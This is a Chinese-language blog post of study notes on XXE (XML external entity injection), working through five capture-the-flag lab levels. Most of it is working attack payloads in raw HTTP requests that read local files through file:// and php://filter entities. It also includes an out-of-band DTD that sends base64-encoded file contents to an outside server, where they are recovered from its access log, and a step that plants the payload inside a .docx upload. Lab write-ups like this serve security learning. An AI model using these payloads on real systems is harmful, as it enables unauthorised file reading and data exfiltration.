美文网首页
XXE漏洞学习笔记

XXE漏洞学习笔记

作者: JYQC66 | 来源:发表于2021-02-07 19:05 被阅读0次

    XXE漏洞

    简介:

    XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

    第一关:

    抓包修改包信息:

    POST /index.php HTTP/1.1

    Host: x.x.x.x:54353

    Content-Length: 234

    Accept: application/xml, text/xml, */*;q=0.01

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198Safari/537.36

    Content-Type: application/xml;charset=UTF-8

    Origin: http://x.x.x.x:54353

    Referer: http://x.x.x.x:54353/

    Accept-Language: zh-CN,zh;q=0.9

    Connection: close

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE a [

    <!ENTITY b "test">

    <!ENTITY c SYSTEM "file:////opt/flag/flag1">

    <!ENTITY % dtd SYSTEM "http://11.11.11.11/1.dtd">

    %dtd;%send;

    ]>

    <root><user>&b;</user><pass>&c;</pass></root>

    再次修改

    POST /index.php HTTP/1.1

    Host: x.x.x.x:54353

    Content-Length: 155

    Accept: application/xml, text/xml, */*;q=0.01

    X-Requested-With: XMLHttpRequest

    User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198Safari/537.36

    Content-Type: application/xml;charset=UTF-8

    Origin: http://x.x.x.x:54353

    Referer: http://x.x.x.x:54353/

    Accept-Language: zh-CN,zh;q=0.9

    Connection: close

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE a [

    <!ENTITY c SYSTEM "file:////opt/flag/flag1">

    ]>

    <root><user>&c;</user><pass>123456</pass></root>

    内部DTD语法:

     <!DOCTYPEtest[

    <!ELEMENT test “test”>

    <!ELEMENT f SYSTEM “file:///路径”>

    ]>

    <root><user>username</user><pass>123456

    第二关:

    抓包使用同样方法修改请求包:

    无有效信息出现。

    此处需要使用外部web服务器,同样使用靶场。

    先构建一个dtd文件:

    <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://10.0.32.165/index.html/?flag=%file;'>"> %all;

    上传到nginx根目录下:

    修改请求包信息:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE note[

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag/flag2">

    <!ENTITY % remote SYSTEM "http://10.0.32.165/aa.dtd">

    %remote;

    %send;

    ]>

    <root><user>admin</user><pass>123456</pass></root>

    查看ngnix下的access.log,发现flag。

    第三关:

    跟第一关一样:

    抓包修复请求包:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE a [

    <!ENTITY c SYSTEM "file:////opt/flag/flag3">

    ]>

    <root><user>&c;</user><pass>123456</pass></root>

    第四关:

    同样先抓包

    继续使用之前的aa.dtd文件,上传至nginx的根目录下,

    修改抓到的包内容:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE note[

    <!ENTITY % file SYSTEM "file:///opt/flag/flag4">

    <!ENTITY % remote SYSTEM "http://10.0.105.3/aa.dtd">

    %remote;

    %send;

    ]>

    <root><user>admin</user><pass>123456</pass></root>

    同样查看access.log,发现flag。

    第五关:

    新建word文件,内容随意,保存后关闭。修改后缀.docx为zip或其他压缩后缀,解压后如下图:

    修改xml文件,插入payload:

    <!DOCTYPE note2[

    <!ENTITY % file SYSTEM "file:///opt/flag/flag5">

    <!ENTITY % remote SYSTEM "http://10.0.105.3/aa.dtd">

    %remote;

    %send;

    ]>

    重新压缩并重新命名为docx文件,上传后查看log日志即可。

    相关文章

      网友评论

          本文标题:XXE漏洞学习笔记

          本文链接:https://www.haomeiwen.com/subject/rwqotltx.html